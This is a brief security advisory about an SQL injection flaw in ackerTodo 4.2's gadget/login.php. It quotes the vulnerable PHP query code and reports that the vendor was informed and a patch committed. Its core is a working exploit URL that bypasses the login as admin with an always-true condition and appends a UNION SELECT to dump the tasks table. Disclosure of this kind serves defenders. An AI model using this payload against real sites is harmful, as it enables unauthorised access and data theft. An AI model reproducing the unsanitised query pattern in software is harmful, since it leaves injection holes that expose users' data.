ackerTodo42.txt

`ackerTodo 4.2 SQL Injection  
vendor: http://ackertodo.sourceforge.net/site2/index.html  
File: gadget/login.php  
  
Exploiting this issue could allow an attacker to access sensible data.  
  
Vuln code:  
$user_login = trim($_REQUEST['up_login']);  
$user_pass = trim($_REQUEST['up_pass']);  
$num_tasks = trim($_REQUEST['up_num_tasks']);  
  
and after...  
$result = db_query("SELECT * FROM ".$table_prefix."users "  
."WHERE login='$user_login' "  
."AND password=md5('$user_pass')");  
  
and after...  
  
$sql = $sql . ' LIMIT ' . $num_tasks;  
  
Exploit:  
http://site.com/gadget/login.php?up_login=admin&up_pass=wrongpass')%20or%20(%20'1'%20=%20'1'%20AND%20login%20=%20'admin&up_num_tasks=100%20UNION%20select%20*%20FROM%20tasks  
  
Vendor has been informed and a patch has been committed into cvs  
  
Regards  
  
`